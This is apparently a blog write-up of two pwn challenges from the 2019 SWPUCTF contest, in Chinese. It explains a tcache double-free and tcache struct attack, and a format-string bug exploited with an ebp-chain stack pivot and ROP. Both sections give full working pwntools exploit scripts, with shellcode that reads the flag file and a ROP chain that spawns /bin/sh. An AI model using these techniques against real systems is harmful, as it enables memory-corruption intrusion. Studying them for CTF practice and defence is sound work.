2019 swpuctf pwn writeup

前言

前两天玩了一下swpuctf, 事情比较多就只做了pwn题. 一共两个pwn题, 都不是很难. 拿了一个一血一个三血, 记录一下.

p1kkheap

这个题的漏洞很明显, free之后指针没有清空, 可以double free. 而且这题给的libc是2.27, tcache结合 double free 可以实现任意地址写.
结合提供的 show 功能可以实现任意地址读写.

而且题目开始时还咋 0x666000 处mmap了一块 rwx 的空间.

不过题目有三个限制

  1. seccomp 禁了 execve 系统调用.
  2. add/edit/show/delete 操作的次数不能超过 18 次
  3. free 的次数 不能超过 三次.

正好前两天看了一篇tcache struct攻击的文章[1]. 利用这种方法恰好把所以次数都用完. 赛后查看官方wp发现确实就是预期解.

思路大概如下:

  1. double free, leak 堆地址
  2. 修改fd 指向 tcache struct
  3. 修改 tcache struct, 将 一个chunk free 进 unsorted bin, 得到 libc 地址
  4. 修改 tcache struct 的entry.
    1. malloc 一个chunk 在 0x666000 除写入 shellcode
    2. malloc 一个chunk 在 __malloc_hook 处修改其为 0x666000
  5. malloc 执行 shellcode

exp如下

from pwn import *
from time import sleep
import sys

global io

context(arch = 'amd64', os = 'linux', endian = 'little')
filename = "./p1KkHeap"
ip = "39.98.64.24"
port = 9091

LOCAL = True if len(sys.argv)==1 else False
elf = ELF(filename)
remote_libc = "./libc.so.6"
if LOCAL:
    io = process("./" + filename, env={'LD_PRELOAD': remote_libc}) 
    libc = ELF(remote_libc)
else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)

def lg(name, val):
    log.info(name+" : "+hex(val))

global g_opcnt
g_opcnt = 0

def choice( idx):
    global g_opcnt
    g_opcnt += 1
    print("%d / 18"%(g_opcnt))
    io.sendlineafter( "Your Choice: ", str(idx))
    

def add( size):
    choice( 1)
    io.sendlineafter( "size: ", str(size))

def show( idx):
    choice( 2)
    io.sendlineafter( "id: ", str(idx))

def edit( idx, data):
    choice( 3)
    io.sendlineafter( "id: ", str(idx))
    io.sendafter( "content: ", data)

def remove( idx):
    choice( 4)
    io.sendlineafter( "id: ", str(idx))

add( 0x80)
add( 0x90)

remove( 1)
remove( 1)

show( 1)
io.recvuntil( "content: ")

heap_addr = u64(io.recv( 6)+'\0\0')
heap_base = heap_addr - 0x2f0

lg("heap base", heap_base)

add( 0x90)
edit( 2, p64(heap_base+0x10))

add( 0x90)
add( 0x90)
fake_tcache_st = '\x07'*64
edit( 4, fake_tcache_st)

remove( 0)
show( 0)
io.recvuntil( "content: ")

usbin_addr = u64(io.recv( 6)+'\0\0')
lg("usbin_addr", usbin_addr)
libc.address = usbin_addr - 0x3ebca0

lg("libc base", libc.address)
mh_addr = libc.symbols['__malloc_hook']

rwx_addr = 0x66660000

p2 = '\x07'*64+p64(mh_addr)+p64(rwx_addr)*7
edit( 4, p2)

add( 0x50)

sc = ""
sc += asm(shellcraft.amd64.linux.open("./flag.txt", 0))
sc += asm("""
    /* call read('eax', 1717960960, 11) */
    mov edi, eax
    xor eax, eax /* SYS_read */
    push 0x30
    pop rdx
    mov esi, 0x1010201 /* 1717960960 == 0x66660100 */
    xor esi, 0x67670301
    syscall
""")
sc += asm(shellcraft.amd64.linux.write(1, 0x66660100, 0x30))
edit( 5, sc)

add( 0x18)
edit( 6, p64(rwx_addr))

add( 0x28)

io.interactive()

login

题目没开 PIE.

有明显的格式化字符串漏洞. 但是字符串不在栈上, 所以用 %n 的时候地址不太好控制.

我的利用方式比较麻烦..... 利用栈上的ebp链 修改ebp, 最终把main函数的返回地址迁移到 bss段, 并进行rop.
但是因为bss段的低地址处就是代码段(不可写), 所以执行函数的时候会因为栈空间不够报错.... 只能自己构造syscall的rop链....(这一步浪费了不少时间)

exp如下

from pwn import *
from time import sleep
import sys

global io

context(arch = 'i386', os = 'linux', endian = 'little')

filename = "./login"
ip = "108.160.139.79"
port = 9090

LOCAL = True if len(sys.argv)==1 else False

elf = ELF(filename)

remote_libc = "./remote_libc"
if LOCAL:
    io = process(filename)
    libc = elf.libc

else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)

def lg(name, val):
    log.info(name+" : "+hex(val))

g_str = 0x804B0A0
g_name = 0x804B080
plt_printf = 0x8048400
plt_puts = 0x8048410
got_printf = 0x804B014
main = 0x80485E3 # 0x8048606 real

prefix = "wllmmllw"

rop = p32(plt_puts)+p32(main)+p32(got_printf)

io.sendafter( " your name: ", "/bin/sh\0")

p1 = "%6$x_%15$x\n"
io.sendlineafter( "password: \n", p1.ljust(0x31, '\0'))

io.recvuntil( "password: ")
t = io.recvline(io).split("_")
ebp0 = int(t[0], 16) # 0xffffd308
libc_addr = int(t[1], 16)

lg("ebp0", ebp0)

p2 = "%{}c%6$hhn".format((ebp0-4)&0xff)
io.sendlineafter( "again", p2)
io.sendlineafter( "again", "%20c%10$hhn")
io.sendlineafter( "again", "%9$s")
io.recvuntil( "word: ")

printf_addr = u32(io.recv( 4))
puts_addr = u32(io.recv( 4))
lg("printf addr", printf_addr)
lg("puts_addr", puts_addr)

libc.address = puts_addr - libc.symbols['puts']
lg("libc base", libc.address)

io.sendlineafter( "again", "%180c%10$hhn")

system_addr = libc.symbols['system']
binsh_addr = next(libc.search("/bin/sh\0"))

if LOCAL:
    int_80 = 0x00002c87 + libc.address
    PespR = 0x00003980 + libc.address
    PeaxPebxPesiPediR = 0x0003da0a + libc.address
    PecxR = 0x000b5377 + libc.address
else:
    int_80 = 0x00002d37 + libc.address
    PeaxPebxPesiPediR = 0x0003ff3a + libc.address
    PedxPecxPeaxR = 0x000faa4f + libc.address
    PecxR = 0x00193908 + libc.address
    PespR = 0x00003aa0 + libc.address
rop2 = p32(PeaxPebxPesiPediR)+\
    p32(0xb)+p32(binsh_addr)+\
    p32(0)*2 + p32(PecxR) + p32(0) + p32(int_80)

io.sendlineafter( "again", ("%{}c%6$hhn".format((ebp0)&0xff)).ljust(0x10, 'a')+rop2)
io.sendlineafter( "again", prefix)
io.interactive()

因为方法比较复杂导致exp写的太慢..... 只抢到了三血.....

一个更好的做法

通过调试可以看到执行printf的时候栈空间大概如下

'''
EBP  0xffffd2f8 —
ESP  0xffffd2e0 —
pwndbg> stack 20
add stack 20 to history
00:0000│ esp  0xffffd2e0 —▸ 0x804b0a0 ◂— 0xa616161 ('aaa\n')
01:0004│      0xffffd2e4 —▸ 0x8048dae ◂— ja     0x8048e1c
02:0008│      0xffffd2e8 ◂— 0x8
03:000c│      0xffffd2ec —▸ 0x80485fb ◂— add    esp, 0x10
04:0010│      0xffffd2f0 —▸ 0x8048dfd ◂— push   0x6f6c6c65
05:0014│      0xffffd2f4 —▸ 0x804b080 ◂— 0xa616161 ('aaa\n')
06:0018│ ebp  0xffffd2f8 —▸ 0xffffd308 —▸ 0xffffd318 ◂— 0x0
07:001c│      0xffffd2fc —▸ 0x8048603 ◂— nop
08:0020│      0xffffd300 —▸ 0x8048e20 ◂— inc    edx
09:0024│      0xffffd304 —▸ 0x804b080 ◂— 0xa616161 ('aaa\n')
0a:0028│      0xffffd308 —▸ 0xffffd318 ◂— 0x0
0b:002c│      0xffffd30c —▸ 0x8048689 ◂— nop
0c:0030│      0xffffd310 —▸ 0xf7fbf3dc (__exit_funcs) —▸ 0xf7fc01e0 (initial) ◂— 0x0
0d:0034│      0xffffd314 —▸ 0xffffd330 ◂— 0x1
0e:0038│      0xffffd318 ◂— 0x0
0f:003c│      0xffffd31c —▸ 0xf7e25637 (__libc_start_main+247) ◂— add    esp, 0x10
10:0040│      0xffffd320 —▸ 0xf7fbf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
12:0048│      0xffffd328 ◂— 0x0
13:004c│      0xffffd32c —▸ 0xf7e25637 (__libc_start_main+247) ◂— add    esp, 0x10
'''

我们可以通过如下流程在 栈上构造一个 got 表的地址. 以 printf@got 的地址 0x804B014 为例:

  1. 通过 %16c%6$hhn__0xffffd308 处的地址修改为 0xffffd310
  2. 通过 %20c%10$hhn_0xffffd310 处的地址修改为 0xf7fbf314
  3. 通过 %17c%6$hhn__0xffffd308 处的地址修改为 0xffffd311
  4. 通过 %176c%10$hhn0xffffd310 处的地址修改为 0xf7fbb014
  5. 通过 %18c%6$hhn__0xffffd308 处的地址修改为 0xffffd312
  6. 通过 %4c%10$hhn__0xffffd310 处的地址修改为 0xf704b014
  7. 通过 %19c%6$hhn__0xffffd308 处的地址修改为 0xffffd313
  8. 通过 %8c%10$hhn_0xffffd310 处的地址修改为 0x0804b014

通过这种方式可以把 printf@got, printf@got+1, printf@got+2, printf@got+3 四个地址都在栈上构造出来
再来一次格式化字符串操作就可以把 printf@got 指向 system了.

[2]中也是用的这种方式

如果一开始就想到这种方法的话做起来应该会快一些.

总结

emmmm, 写exp还是太慢了, 思路还是太狭隘了.

多做题, 多总结!

参考

[1] 初探tcache struct攻击-先知社区

[2] 非栈上格式化字符串漏洞利用技巧-安全客

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,736评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,167评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,442评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,902评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,302评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,573评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,847评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,562评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,260评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,531评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,021评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,367评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,016评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,068评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,827评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,610评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,514评论 2 269

推荐阅读更多精彩内容